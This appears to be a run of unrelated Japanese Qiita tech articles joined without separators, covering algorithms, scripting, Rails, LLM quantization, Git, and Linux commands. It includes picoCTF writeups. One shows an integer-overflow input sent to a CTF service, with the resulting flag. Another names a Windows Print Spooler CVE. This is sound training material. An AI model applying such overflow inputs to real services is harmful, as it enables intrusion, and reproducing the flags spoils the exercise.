OmniAICreator/Qiita-1.07M huggingface dataset:
bit全探索について

※以後、ABCといったらAtCoder Beginner Contestのことを指す。
※この記事に付け足してほしいことがあったらその都度教えてください。

[ABC356-C](https://atcoder.jp/contests/abc356/tasks/abc356_c)にbit全探索が出た。
[ABC358-C](https://atcoder.jp/contests/abc358/tasks/abc358_c)にbit全探索が出た。
ABCの昔の解説記事を書こうとしたら、[ABC002-D](https://atcoder.jp/contests/abc002/tasks/abc002_4)がbit全探索だった。
ということなので（どういうことなので？）、この記事ではbit全探索についてまとめる。
# bit全探索の概要
まず、bitについてさっぱりな人は[この記事](https://qiita.com/kazuppa/items/f9b020f1f734ea25de0d)を見よう。
bitは2進法のため、主に全探索をするときに**2パターンの在り方があるときに**使える。
例えば、
・物を買う、買わない
・グループに参加する、参加しない
という2つ選択肢があったとする。そんなときに使うものだ。
例えば、物の買う買わないについては
・i桁目が0ならi番目のものを買わない。
・i桁目が1ならi番目のものを買う。
がある。また、グループについては
・i桁目が0ならi番目の人は参加しない。
・i桁目が1ならi番目の人は参加する。
こんな感じ。

## bit全探索の考え方
bit全探索は、$0$~$2^{桁数}-1$までを全探索すれば全列挙ができるよねという考えに基づいている。
例えば3桁を考えるときは、
| 0桁目 | 1桁目 | 2桁目 | sum |
|:-:|:-:|:-:|:-:|
| 0 | 0 | 0 | 0 |
| 1 | 0 | 0 | 1 |
| 0 | 1 | 0 | 2 |
| 1 | 1 | 0 | 3 |
| 0 | 0 | 1 | 4 |
| 1 | 0 | 1 | 5 |
| 0 | 1 | 1 | 6 |
| 1 | 1 | 1 | 7 |

まあsumが$0$~$7=2^3-1$のとき全部列挙で来てるからいいよね。
桁数がそれこそ星の数こそあったらドカンだが、高々20くらいだったら1秒以内に全列挙できる。

# bit全探索の実装
まず、C++には**bitset**という機能がある。この機能を使えば任意の整数を2進法に直した配列が出来上がる。
これをもとにして**i桁目が0ならしない、1ならする**という感じのができる。
たとえば、こんな問題があったとしよう。
> **部分和問題**
$N$個の整数$A_0,A_1...A_{N-1}$がある。
この中からいくつか選び、その総和が$X$になるようなものは存在するか。
作れるならYes、作れないならNoと出力せよ。
制約
$1\leq N \leq20$
$1\leq A,X\leq 5*10^7$

この問題は再帰関数を学ぶ時に見たことがないだろうか。
これをbit全探索で解くと、次のようになる。
```C++
#include <bits/stdc++.h>
using namespace std;

int main(){
  int n,x;cin>>n>>x;
  vector<int> a(n);
  for(int i=0;i<n;i++)cin>>a[i];
  for(int i=0;i<(1<<n);i++){
    bitset<20> bit(i);
    int sum=0;
    for(int j=0;j<n;j++)
      if(bit[j])sum+=a[j];
    if(sum==x){
      cout<<"Yes\n";
      return 0;
    }
  }
  cout<<"No\n";
}
```
さて、ここで(1<<N)とはどういう意味が気になった人もいるのではなかろうか。
<<は、**左シフト演算**という計算である。
例えば、
・(5<<2)=$5*2^2$=20

・(1<<10)=$1*2^{10}$=1024
こんな感じだ。
この機能を使ってfor文を回すことで、$0$~$2^N-1$のiを作れる。
基本的には、
・A[0]は$2^0$の位
・A[2]は$2^2$の位
・A[N-1]は$2^{N-1}$の位
を表している。

# 注意点
bit全探索を使うにあたっての注意点を説明する。
## bitsetの<>
bitset<>のなかは、**絶対に定数しか置けない**。
bitset<>に変数Nを入れるとバグが発生する。
この事実を知らないとなかなか気づけないと思うので、そこは覚えておこう。

## 実行時間
たとえば、上記の部分和問題だと、iを$2^N$回、jを$N$回まわしているので、実行時間が$O(2^NN)$かかる。もしこの問題の制約が$N\leq30$だとTLEしてしまう。
例えば、[この問題](https://atcoder.jp/contests/tessoku-book/tasks/tessoku_book_w)をbit全探索で解こうとすると、実行時間が$O(2^MMN)$かかるので、どうあがいてもTLEする。
bit全探索を使うときは、**Nのとりえる大きさに注意しよう**。

# まとめ
ABC301~ABC363のCDにおいて、bit全探索が出たのは高々3回しかない。しかし、その3問は**全てdiff600以下**だ。緑コーダーを目指す人は絶対に落とせない。さらに、水コーダーを目指す人にとっては、のちのbitdpの学習においてもbitの考え方は継承する。完璧に理解しておかなければならない壁の一つがbit全探索だ。

# おまけ・bit全探索まとめ（随時更新）
[ABC002-D 派閥](https://atcoder.jp/contests/abc002/tasks/abc002_4) <font color=#00C0C0>試験管 diff1418</font>
[ABC356-C Keys](https://atcoder.jp/contests/abc356/tasks/abc356_c) <font color=#808080>diff273</font>
[ABC358-C Popcorn](https://atcoder.jp/contests/abc358/tasks/abc358_c) <font color=#804000>diff568</font>
WiFi調査bat

## 背景

「WiFi空いてる？」
「いやWiFi飛んでるな～」
「ログに残してレポートにしたいな」

## 予備知識
Windows10のコマンドプロンプトで
WiFiに接続しない状態で以下のコマンドを叩くと
```bat 
netsh wlan show networks mode=bssid
```

以下のような結果が取れる
```
SSID 1 : nazonowifi
    Network type            : Infrastructure
    Authentication          : Open
    Encryption              : None 
    BSSID 1                 : 00:00:00:00:00:00
         Signal             : 72%  
         Radio type         : 802.11n
         Channel            : 6 
         Basic rates (Mbps) : 1 2 5.5 11
         Other rates (Mbps) : 6 9 12 18 24 36 48 54
```

これを分析しにくいからパースしてCSV化する。


## 出来たもの

```bat
@echo off
chcp 65001 >nul
setlocal enabledelayedexpansion

for /f "tokens=1-5 delims=/: " %%A in ("%date% %time%") do (
    set year=%%A
    set month=%%B
    set day=%%C
    set hour=%%D
    set minute=%%E
)
set datetime=%year%%month%%day%_%hour%%minute%

set logname=wifi_%datetime%.log
set csvname=wifi_%datetime%.csv

netsh wlan disconnect
netsh wlan show networks mode=bssid > !logname!

if %errorlevel% neq 0 (
    echo netshコマンドの実行に失敗
    exit /b
)

echo SSID,Authentication,Encryption,BSSID,Signal,RadioType,Channel,BasicRates,OtherRates > !csvname!

for /f "tokens=1,* delims=:" %%A in (!logname!) do (
    set line=%%A
    set value=%%B
    if not "!line:BSSID=!" == "!line!" (
        set bssid=!value:~1!
    )else if not "!line:SSID=!" == "!line!" (    
        set ssid=!value: =!
    )else if not "!line:Authentication=!" == "!line!" (    
        set auth=!value: =!
    )else if not "!line:Encryption=!" == "!line!" (    
        set encryption=!value: =!
    )else if not "!line:Signal=!" == "!line!" (    
        set signal=!value: =!
    )else if not "!line:Radio type=!" == "!line!" (    
        set radiotype=!value:~1!
    )else if not "!line:Channel=!" == "!line!" (    
        set channel=!value: =!
    )else if not "!line:Basic rates=!" == "!line!" (    
        set basicrates=!value:~1!
    )else if not "!line:Other rates=!" == "!line!" (    
        set otherrates=!value:~1!
        echo !ssid!,!auth!,!encryption!,!bssid!,!signal!,!radiotype!,!channel!,!basicrates!,!otherrates!>> !csvname!
    )
)

```

## あとがき

連続で複数回実行するのは別のbatでやってね。
ログはbatと同じフォルダに吐くから別のbatで退避させてね。
JavascriptにもIteratorがあるよって話というよりIteratorの話

# TD; LR;
JavascriptにもIteratorがありますよ、という話

# Iterator
表で活躍するということは少ないかもしれませんが、Javascriptにもiteratorがあります
iteratorはなに?みたいになってしまった方は、こんな記事を読む前にGoFのiteratorパターンについて理解しておくのがいいかもしれませんが、この手の説明って全然わからないよね!!
https://ja.wikipedia.org/wiki/Iterator_%E3%83%91%E3%82%BF%E3%83%BC%E3%83%B3

# いてれーしょん
実例みると早いかどうかはわらないが実例
```javascript
const ary = [1,2,3,4,5]
const itr = ary[Symbol.iterator]()
itr.next() // {value: 1, done: false}
itr.next() // {value: 2, done: false}
itr.next() // {value: 3, done: false}
itr.next() // {value: 4, done: false}
itr.next() // {value: 5, done: false}
itr.next() // {value: undefined, done: true}
```
 ary\[Symbol.iterator]()
 のところでiteratorを生成しています。Javascriptにおける「反復処理プロトコル」だそうです。かっこいいなMDN(ja)
繰り返し列挙しますということなんですが、普通はあんまり使わなくてすみます

本質はなにかっていえば
- 「列挙中に計算を止められる」
- 「止めた状態を保持できる」
- 「とりあえずnext()をすれば物がなんであれ統一的に次の値なりなんなりがもらえる」

つまり、ママンが
- 宿題やった?
- 教科書もった?
- お弁当もった?
っていうのを「忘れてた!」っていうたびに毎回最初から処理されたくないときにIteratorで途中の質問を保持してくれれば楽でいいですよね、ってことです(意味わからない)
(家でる直前で宿題やった→falseでもどうにもならんよなって、あとで思った)

# Generator

配列とかはまだしも直感的なんですが、他になにに使用するの?
みたいなことを思う人もいると重います

普通にアプリとかつくってる人はあんまりないのです(validationがーとかの話ででてきたりするけど、だいたい実用性がない)
ただ疑似乱数生成みたいに「前の値を利用して次の値を生成する」的なやつ、
階差の漸化式とかで途中の計算結果を保持しつつ次の計算ができるようにする場合には便利です
Generatorのことです

事例はみんなだいすきフィボナッチ

```javascript
function* fib_gen ()  {
	let last_ = 0;
	let now_ = 1;
	let tmp = last_;

	while(1){
		yield now_;
		tmp = last_
		last_ = now_
		now_ = now_ + tmp	
	}
}
const fib = fib_gen()
fib.next() // 1
fib.next() // 1
fib.next() // 2
fib.next() // 3
fib.next() // 5
fib.next() // 8

```
fibなんて無限に続く数列なんで計算すると途中でとめないといけないのだけど、generator実装するとベリーエレガントにいけます
https://developer.mozilla.org/ja/docs/Web/JavaScript/Reference/Statements/function*
function*はgeneratorをかえす処理を書くための特殊な定義なわけですが、結構書式あって面白かった

# まとめ
Javascriptにはiteratorあるよ

# 感想
fib久しぶりに書いたしJavascriptのiteratorでもちゃんとかける。
あとこの話の派生はsetjmpとかcall/ccとかあるので、気になる方は「なんでも継続」でぐぐれ
Rails 7 にBootstrapを導入

## はじめに
Railsでアプリ作成時にBootstrapを導入することで、高速でレスポンシブなアプリを作成できるようになります。Gemを使った導入の仕方を以下にまとめます。


## 開発環境
- Rails 7.0.8.4ruby
- Ruby 3.2.0
- Bootstrap 5.3.3

## 手順
### 1. Gemを導入する
Gemfileに以下２つのGemを追加します。
``` Ruby:Gemfile
gem 'bootstrap', '~> 5.3.3'
gem 'jquery-rails'
```
またGemfile に以下のGemがコメントアウトされているので、コメントアウトをなくしてください。
```ruby:gemfile
gem "sassc-rails"
```
[![Image from Gyazo](https://i.gyazo.com/b8b317e13ac5d7d39bc1badf0b6bb5d6.gif)](https://gyazo.com/b8b317e13ac5d7d39bc1badf0b6bb5d6)
この作業を飛ばすと下のエラーが出ました。

https://qiita.com/mshu72/items/53629d5280de6e97aa24

この状態でターミナルでインストールします。
```ruby:terminal
$ bundle install
```
### 2.　スタイルのインポート
`app/assets/stylesheets`のフォルダ内に`application.css`があると思います。
このファイルが存在する場合は、Sass の代わりに提供されるため、名前を変更します。

ターミナルで以下のコマンドを入力する
``` ruby:terminal
$ mv app/assets/stylesheets/application.css app/assets/stylesheets/application.scss
```
これで`app/assets/stylesheets`のフォルダ内には`application.scss`のファイルができます。
`application.scss`のファイル内のすべての記述を削除し以下を記入します。

``` ruby:application.scss
// Custom bootstrap variables must be set or imported *before* bootstrap.
@import "bootstrap";
```
### 3. Javascriptの編集

- インポートマップの設定のため以下のコードを`config/importmap.rb`追記する
```ruby:config/importmap.rb
pin "bootstrap", to: "bootstrap.min.js", preload: true
pin "@popperjs/core", to: "popper.js", preload: true
```
[![Image from Gyazo](https://i.gyazo.com/aea707055acbb72155a3692b32668bd4.png)](https://gyazo.com/aea707055acbb72155a3692b32668bd4)

- アセットの設定のため以下のコードを`config\initializers\assets.rb`に追記する
``` ruby:config\initializers\assets.rb

Rails.application.config.assets.precompile += %w(bootstrap.min.js popper.js)
```
[![Image from Gyazo](https://i.gyazo.com/1e0f6efd8327faaff750dbee9c173f2f.png)](https://gyazo.com/1e0f6efd8327faaff750dbee9c173f2f)

- スプロケットの設定のため以下のコードを`app/javascript/application.js`に追記する
　import "@hotwired/turbo-rails"の上に記入して下さい。
 
 ```ruby:app/javascript/application.js
//= require jquery3
//= require popper
//= require bootstrap
```
[![Image from Gyazo](https://i.gyazo.com/e156f4a355de395dfac17fecef184d94.png)](https://gyazo.com/e156f4a355de395dfac17fecef184d94)

以上で導入完了となります。
最新LLM Llama3.1 を AWQ で4bit量子化して GPUサーバーに乗せて チャットできるようにした

# Llama 3.1 8B Instruct を量子化して試せるようにした

昨晩リリースされた [Llama 3.1](https://huggingface.co/hugging-quants/Meta-Llama-3.1-8B-Instruct-AWQ-INT4) を AWQ 4Bit 量子化して使えるようにしました。

公式ページの説明だけだと、量子化がうまくいかなかったので、そこを補足的に記述しました

これから、色々試して順次追記していこうとおもいます

## 【デモ】チャット公開しました
本記事でつくった量子化モデル＋ ChatStream をつかって以下URLにて Llama3.1 8B Instruct をチャットできるようにしています

推論エンジンは vLLM をつかっていますので、そこそこ高速です。

↓がチャットデモです

https://chatstream.net/?model_id=meta_llama_3_1_8b_instruct&ws_name=chat_app_en

## 環境

WSL + NVIDIA A5000

## 量子化の方法

量子化アルゴリズムは AWQ を使用しました。
以下の AutoAWQをつかいます

### AutoAWQと関連パッケージインストール方法

```
pip install -q --upgrade transformers autoawq accelerate
```


```python
from awq import AutoAWQForCausalLM
from transformers import AutoTokenizer

model_path = "meta-llama/Meta-Llama-3.1-8B-Instruct"
quant_path = "/mnt/d/Meta-Llama-3.1-8B-Instruct-AWQ"
quant_config = {
  "zero_point": True,
  "q_group_size": 128,
  "w_bit": 4,
  "version": "GEMM",
}

# Load model
model = AutoAWQForCausalLM.from_pretrained(
  model_path, low_cpu_mem_usage=True,
  use_cache=False,
  device_map="auto"  # わすれずにこれを追加
)

tokenizer = AutoTokenizer.from_pretrained(model_path)

# Quantize
model.quantize(tokenizer, quant_config=quant_config)

# Save quantized model
model.save_quantized(quant_path)
tokenizer.save_pretrained(quant_path)

print(f'Model is quantized and saved at "{quant_path}"')

```

量子化チェックポイントの作成は約20分でおわりました。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3752825/823694aa-cc30-1e76-5fd9-5fac4384f4e7.png)


## ハマったポイント

ハマったというほどではないですが、２点ほど注意点があります

### その１. transformers パッケージは最新に！

transformers が **4.43.1** 未満だと、以下のエラーがでるので注意です。

```
    raise ValueError(
ValueError: `rope_scaling` must be a dictionary with two fields, `type` and `factor`, got {'factor': 8.0, 'low_freq_factor': 1.0, 'high_freq_factor': 4.0, 'original_max_position_embeddings': 8192, 'rope_type': 'llama3'}
```

transformers を最新にしましょう


いつも同じ環境をつかってると transformers が古くってなりがちですね。

```
pip install --upgrade transformers
```

## その２.モデルをロードするときは、デバイス指定をいれる

AWQ実行で以下のようなエラーがでました。

```
RuntimeError: Expected all tensors to be on the same device, but found at least two devices, cpu and cuda:0! (when checking argument for argument mat2 in method wrapper_CUDA_bmm)
```

モデルロードに **device_map="auto"** を追加しましょう。

```
model = AutoAWQForCausalLM.from_pretrained(
  model_path, low_cpu_mem_usage=True,
  use_cache=False,
  device_map="auto"  # わすれずにこれを追加
)
```

これで無事4Bit量子化ができます。
【回帰】評価指標のあれこれ

AI会社に入社してまだ２週間のgohanだよ。最近はow2にハマってて、ヒーラーのキリコがお気にです。キリコのフレーズ「快気！」にちなんで回帰のお話。

回帰モデルを評価する際の指標の選別がわからなかったので、会社の人に色々教えてもらったのでまとめます。
分類問題は、割と直感的にわかりやすいものが多い(accuracyとか)けど、回帰は分かりづらい、、。

### MSE

一番使用されるメジャーな指標だと思う。正答値から予測値がどれくらい離れているか？というのを算出して、それの絶対値(全部プラスの値にするよーってやつ)の二乗の合計。

最初これを聞いて、「それで何が分かるねん！」って思っていたが、説明を聞いて納得。

この指標を使う目的は、２つあって1つ目はモデルの比較。最初に作ったモデルから２回目に作ったモデルを比較して、mseがどれくらい良くなったかを見ることができる(数値が小さくなったほうが、モデルの精度が良い)。2つ目は、どのくらい予測値が外れているのかを細かい部分まで理解することができる。値を２乗するので、大きく外れているデータがあったら、mseは大きくなってしまう。例えば小売売上予測の場合、肉とか野菜はある程度精度はいいけど(鮮度じゃないよ！)、めっちゃ小さなブースに置いてあるコスメの部分で予測を大きく外していたら、それの二乗なのでmseが大きくなるみたいなイメージ。

### MAE

正答値から予測値がどれくらい離れているか？というのを算出して絶対値にしたやつ。これは２乗しないので、ざっくりどのくらいずれているのかというのが直感的に理解しやすい。これは先ほどと違って２乗しないので、多少値が外れていてもmaeの結果としては影響をあまり受けない。なので細かい部分までは見ることができない。例えば小売売上予測の場合、肉とか野菜はある程度精度はいいけど(鮮度じゃないよ！)、めっちゃ小さなブースに置いてあるコスメの部分で予測を大きく外していても、コスメ自体そこまで売れる商品じゃないし、　maeには影響がないみたいなイメージ。

### MAPE

こっからはてなになってきた。自分のプロジェクトでは、これをいちばんの重要評価指標にしているみたい。これを低くしていくことに重点を置いてるみたいな。(プロジェクトや予測したいことによってこれは変わるよ)

これは割合の指標で、ざっくりいうと「どのくらいずれがあるか」ということになる。

具体的には、予測値と正答値の差の絶対値を求めてそれの総和をデータ数で割った値。この指標も直感的に分かりやすくて、正答値からどのくらい予測値が離れているのかな？というのがわかる。例えばmape10%と出たら、正答値から10%くらい離れているのかー、ふーんって感じになる。

だけどこれを求めるときは、評価するデータを選別する必要があって、真値が０のものとかめちゃくちゃ外れているものとかは除外しないといけない。

### まとめ

回帰でももっと直感的に理解したい！みたいな場合は、真値から誤差○%の定義をして、そのパーセント内に該当したデータ数をすべてのデータ数で割ると正答率を(accuracyみたいな)導くことができます。これもうちのプロジェクトでは使っています。

まだまだ理解が足りてない部分もあるけど、ちょっとずつ頑張っていきたいと思います。
【超初心者向け】GitHubにコードを公開する

## はじめに
GitHubにコードをあげたことがない、久しぶりですっかり忘れてしまった、という方の参考になれば幸いです。first commitを例に手順を列挙していきます。
なおGitHubアカウントは作成済みとします。

## 1.Githubにリポジトリを作成
・GitHubのリポジトリ作成ページにアクセス (https://github.com/new)
・Repository nameを入力し、画面下部のCreate repositoryをクリック
・緑のボタン「<>Code>」をクリックし、表示されたHTTPS URLをコピーしておく

## 2.gitの初期化
・VSCodeでターミナルを開き、公開したいプロジェクトのルートフォルダへ移動
 　例）cd C:\Users\User\Documents\bbs-with-nextjs

・`git init`を実行

## 3.リモートリポジトリの作成
・1でコピーしたURLを使い以下コマンドを実行
　`git remote add origin [1でコピーしたURL]`

:::note info
originはリモートブランチ名、[1でコピーしたURL]はリモートリポジトリ名のこと。
origin=[1でコピーしたURL]となり、ブランチとリポジトリの関連付けができる。
:::

## 4.Gitのステージエリアに追加
・`git add .`を実行

## 5.ステージエリアの状態確認 (必須ではない)
・`git status`を実行し、4がコミット対象となっていることを確認

例）コマンド実行によりステージエリアに追加されたファイル
<img width=500 alt="コマンド実行後ログ" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3551799/e58ec11c-fbab-2f90-f8ef-fd9290b7bd8e.png">

## 6.ローカルリポジトリにコミット
・`git commit -m "first commit"`を実行し、ローカルリポジトリにコミットする。

:::note info
-m により任意のコミットメッセージを付与しておく。
:::

## 7.Github上のリモートリポジトリに反映
・`git push -u origin main`を実行

:::note info
originはリモートブランチ名、mainはローカルブランチ名を表す。
:::

## 補足. "non-fast-forward" エラーが出てしまった。。。
最後のpushで以下のようなエラーが出た場合の対応を、備忘を兼ねて記載します。

<img width=600 src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3551799/c6b38201-8b1f-c185-19a1-db8b2068c954.png">

### ・考えられる原因例
リモートリポジトリ作成時にREADMEファイルも作成しており、
これからプッシュするプロジェクトにもREADMEファイルがあることで競合が発生した。

この場合、ローカルリポジトリの変更をプッシュする前に、リモートリポジトリの変更を
取得（フェッチ）する必要があります。

### ・対応方法
・`git pull origin main`を実行
・競合ファイルがあればVSCodeに開かれるので、競合内容を確認して修正

:::note info
リモートブランチで行われた変更を、ローカルで行った変更にフェッチしてマージ
することで、これを修正することができます。
なおpull により fetchとmergeを同時に行っています。
:::

例）コマンド実行後
<img width=600 alt="コマンド実行後のログ" src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3551799/4c984d8d-766d-cb19-ee39-ad12c5a685d4.png">


## 参考にしたサイト
https://docs.github.com/ja/get-started/using-git/pushing-commits-to-a-remote-repository
【ChatGPT＋Code Interpreter】曲を演奏するPrompt（成功？）


　どうも、カーブミラーです。

　今回は、曲を演奏するPromptです。成功と言えば成功ですね😅

:::note info
本記事は、ChatGPT（有料版）
で行なっております。画像は
ありません。　あしからず。
:::
　まずは、ニュース。

　声優・小原乃梨子さんが、
　　お亡くなりになりました。

　『アルプスの少女ハイジ』ペーター
　『未来少年コナン』コナン
　『ドラえもん』のび太
　『タイムボカン・シリーズ』
　　　　　　　　ドロンジョ系
　『クラッシャージョウ』リッキー
　　　などなど。

　多くの作品に
　　参加されていました。

　ご冥福をお祈りいたします。
***
　さて、本題です。

　以前に、
　　指定曲を演奏してもらうPromptを
　　　提示しましたが、失敗作でした。
　　　　[【ChatGPT＋Code Interpreter】指定曲を弾くPrompt（失敗作）](https://qiita.com/kabumira/items/22df73a46c252f5bbac2)

　そのリベンジです😅

　では、さっそくPromptから。
```Text:ピアノ曲「Twinkle Twinkle Little Star」作成Prompt
「Twinkle Twinkle Little Star」のピアノ曲を作成してください。各音と音の間は滑らかにし、ものを叩くような音をなくしてください。以下の仕様に従ってください：

- **テンポ**：120 BPM
- **音の長さ**：各音の長さは0.5秒
- **振幅**：4096
- **サンプルレート**：44100 Hz
- **音のピッチ**：以下の音階を使用

  - 'C4': 261.63 Hz
  - 'D4': 293.66 Hz
  - 'E4': 329.63 Hz
  - 'F4': 349.23 Hz
  - 'G4': 392.00 Hz
  - 'A4': 440.00 Hz
  - 'B4': 493.88 Hz
  - 'rest': 0.0 Hz (休符)

- **メロディ**：以下の通り
  - 'C4', 'C4', 'G4', 'G4', 'A4', 'A4', 'G4', 'rest',
  - 'F4', 'F4', 'E4', 'E4', 'D4', 'D4', 'C4', 'rest',
  - 'G4', 'G4', 'F4', 'F4', 'E4', 'E4', 'D4', 'rest',
  - 'G4', 'G4', 'F4', 'F4', 'E4', 'E4', 'D4', 'rest',
  - 'C4', 'C4', 'G4', 'G4', 'A4', 'A4', 'G4', 'rest',
  - 'F4', 'F4', 'E4', 'E4', 'D4', 'D4', 'C4', 'rest'

音のアタックとリリースを滑らかにするために、各音の最初と最後に0.01秒のエンベロープ（線形増減）を使用してください。
```
　一応、注意させてもらいます。
　　ピアノではなく、ビープ音です。
　　　また、甲高いので、
　　　　お気を付けください。

　前回は、
　　インターネットから
　　　コードを取得して、
　　　　それを演奏させました。

　今回は、
　　すでに取得済です。
　　　間違えようがありません😸

　それから
　　小節と小節とのあいだに
　　　空白を入れました。

　また、
　　音と音のつながりを
　　　滑らかにして、
　　　　ものを叩くような音を
　　　　　なくしました。

　メロディの部分を
　　書き換えれば、
　　　ほかの曲になります。

　みなさんの
　　作品制作の糧に
　　　なれば、幸いです。

　今回は、ここまで。
【Linux】プロセス関連

## プロセスを確認する

※mysqlのサービスのプロセスを確認する。
```linux:実行例
$ ps -ef | grep mysql
```


## プロセスを強制終了する

※mysqlのサービスのプロセスを確認する。
```linux:実行例
$ kill -9 プロセスID
```
【Linux】システム状況を確認する

## システム状況を確認する

```linux:実行例
$ top
```


## メモリーの使用状況を表示する

```linux:実行例
$ free -mt
```


## メモリーやCPUの情報を表示する

```linux:実行例
$ vmstat 10 3
```
※メモリーやCPUの情報を10秒間隔で3回表示する。


## ファイルシステムのディスク容量を確認する

```linux:実行例
$ df -h
```
※「-h」ディスク容量を適当なサイズで表示する。

```linux:実行結果
Filesystem            Size  Used Avail Use% Mounted on
C:/Program Files/Git  1.9T  725G  1.2T  39% /
D:                    2.8T  648G  2.1T  24% /d
E:                    3.2G  1.2G  2.0G  38% /e
```

## ファイルシステムのディスク容量トップ10を確認する

```linux:実行例
$ du -m / | sort -nr | head -10
```


## ファイルのディスク使用量を確認する

```linux:実行例
$ du -b testDir
```
※testDirディレクトリ以下のファイルのディスク使用量をバイト単位で表示する。
picoCTF 2023 writeup two-sum

## two-sum (Binary Exploitation)

Can you solve this? What two positive numbers can make this possible: n1 > n1 + n2 OR n2 > n1 + n2 Enter them here nc saturn.picoctf.net 55489. Source

添付ファイル
・flag.c
普通に考えて「n1 > n1 + n2 OR n2 > n1 + n2」が成り立つ正数は存在しない。ソースコードがcであることを考慮して、intの最大値を狙う。
とりあえず、`nc saturn.picoctf.net 55489`を実行してみる。
```
> nc saturn.picoctf.net 55489
n1 > n1 + n2 OR n2 > n1 + n2 
What two positive numbers can make this possible: 
2147483647 2147483647
You entered 2147483647 and 2147483647
You have an integer overflow
YOUR FLAG IS: picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_482d8fc4}
```
フラグが得られた。

`picoCTF{Tw0_Sum_Integer_Bu773R_0v3rfl0w_482d8fc4}`
【Linux】ファイル操作（表示確認、権限）

## 目次
[1. 現在のディレクトリの場所を確認する(pwd)](##-現在のディレクトリの場所を確認する)
[2. カレントディレクトリを移動する(cd)](##-カレントディレクトリを移動する)
[3. ファイルやディレクトリの情報を表示する(ls)](##-ファイルやディレクトリの情報を表示する)
[4. ファイルの権限を変更する(chmod)](##-ファイルの権限を変更する)
[5. ディレクトリ内の全てのファイル、ディレクトリのグループを変更する(chgrp)](##-ディレクトリ内の全てのファイル、ディレクトリのグループを変更する)
[6. ディレクトリ内の全てのファイル、ディレクトリの所有者を変更する(chown)](##-ディレクトリ内の全てのファイル、ディレクトリの所有者を変更する)

## 現在のディレクトリの場所を確認する
```linux:実行例
$ pwd
```

## カレントディレクトリを移動する
```linux:実行例
$ cd ../
```

## ファイルやディレクトリの情報を表示する
```linux:実行例
$ ls -lh
```
※読みやすい形式で、ファイルの詳細も併せて表示する。
```linux:実行結果
-rw-r--r-- 1 username 197613 5.0K Sep  2 09:20 test.log
-rw-r--r-- 1 username 197613 5.3K Aug 28 21:16 test.log.1
-rw-r--r-- 1 username 197613  525 Sep  2 09:06 test.log.2
```

## ファイルの権限を変更する
※0：---、1:--x、2:-w-、3:-wx、4:r--、5:r-x、6:rw-、7:rwx
※パーミッション（ex. drwxr-xr-x）
「1文字目」-:ファイル、d:ディレクトリ、l:シンボリックリンク
「2-4文字目」:所有者
「5-7文字目」:所有グループ
「8-10文字目」その他権限

```linux:実行例
$ chmod 777 test.txt
```

## ディレクトリ内の全てのファイル、ディレクトリのグループを変更する
```linux:実行例
$ chgrp -R groupname testDir
```

## ディレクトリ内の全てのファイル、ディレクトリの所有者を変更する
```linux:実行例
$ chown -R ownerName testDir
```
Index name 'Index name' on table 'Table name' already existsって言われたとき

# はじめに
以下のマイグレーションエラーがよく起きてたけど、
対処法は毎度同じだったので手順を残す

## Index name {Index name} on table {Table name} already exists
`rails db:migrate`または`rails db:migrate:up VERSION={バージョン}`したときに、
上記のエラーメッセージで怒られる

## やったこと

テーブルまたはインデックスが本当にあるのか確認
```cmd
$　docker compose exec db bash
$ mysql -u root -p
# パスワード入力

# 本当にテーブルがあるのか　→ あった
show columns from {Table name};

# そのテーブルに当該Indeｘはあるのか → あった
show index from {Table name};
```

作成しようとしている所に作成しているあるから怒られると思う
ならば消してみる
```cmd
# インデックスがあれば消す
alter table {Table name} drop index {Index name};

# テーブルも消す
drop table {Table name};
```
指定のバージョンだけdownしていたら、バージョン指定してupしてもよし
一応マイグレーションはできた
```cmd
# 特定のマイグレーションファイルのみmigrate
rails db:migrate:up VERSION={バージョン}
```
robloxでassistant その141

# 概要
robloxでassistantやってみた。
練習問題、やってみた。

# 練習問題
pluginで、scriptをwordでサーチせよ。

# サンプルコード

```

local PluginBar = plugin:CreateToolbar("creator")
local Button1 = PluginBar:CreateButton("creator", "Create new script", "rbxassetid://4458901886", "Create")

Button1.Click:Connect(function()
	for i, v in pairs(game:GetDescendants()) do
		if v:IsA("Script") then
			if string.find(v.Source, "string.char") then
				print(v.Parent.Name .. "/" .. v.Name)
			end	
		end
	end
	print("ok")
end)



```

# 

```
  11:37:27.224  ReplicatedFirst/LocalScript  -  編集
  11:37:27.226  ReplicatedStorage/Script  -  編集
  11:37:27.227  ok  -  編集
```

以上。
mediapipeでFileNotFoundErrorとなる時の解決策

# mediapipeでFileNotFoundErrorとなる時
**症状**
mediapipeのライブラリを使いプログラムを実行しようとした際にこのようなエラーが出る。しかし、エクスプローラーなどで確認すると、このファイルはしっかりと存在はしている。

FileNotFoundError: The path does not exist: C:\Users\自分のアカウントの名前\AppData\Local\Programs\Python\Python312\Lib\site-packages\mediapipe/modules/face_landmark/face_landmark_front_cpu.binarypb


## 結論
結論をいうと、フォルダ名に、非ユニコード文字（日本語がある場合）になってしまいます。フォルダ名に日本語を使うのを辞めてください。そうすれば上手くファイルが読み込まれるようになります。

もし、自分のアカウント名が日本語で入れてしまっている場合には、新しいアカウンを(アカウント名を英語)で作成してそこでpythonをインストールする。または、仮想環境をCドライブ直下に作りそこでフォルダ名では日本語を使わない。


以下は、新しいユーザーを追加する方法と、仮想環境を作る方法の参考記事です。

https://hamachan.info/win11-useraccount/

https://qiita.com/toki_mwc/items/f2e81bdf244cab46cf5e

## 参考記事
https://stackoverflow.com/questions/69605942/filenotfounderror-the-path-does-not-exist-while-using-mediapipe-for-hand-dete
picoCTF 2022 writeup CVE-XXXX-XXXX

## CVE-XXXX-XXXX (Binary Exploitation)

Enter the CVE of the vulnerability as the flag with the correct flag format: picoCTF{CVE-XXXX-XXXXX} replacing XXXX-XXXXX with the numbers for the matching vulnerability. The CVE we're looking for is the first recorded remote code execution (RCE) vulnerability in 2021 in the Windows Print Spooler Service, which is available across desktop and server versions of Windows operating systems. The service is used to manage printers and print servers.

検索ワード
```
2021 年RCE Windows プリント スプーラー サービス CVE
```
一番上にフラグに当たるCVEが出てきた。

`picoCTF{CVE-2021-34527}`
macOS で argp.h が存在しないというエラーが出たときの対処法

## Macで argp.h がないと言われたら

MacOSで、C/C++で書かれたLinux向けのツールをコンパイルしていたら、

```
fatal error: 'argp.h' file not found
#include <argp.h>
         ^~~~~~~~
1 error generated.
```

こんな感じのエラーが出現した。
これは、コマンドライン引数を解析するライブラリの、argp.h がないことを意味する。

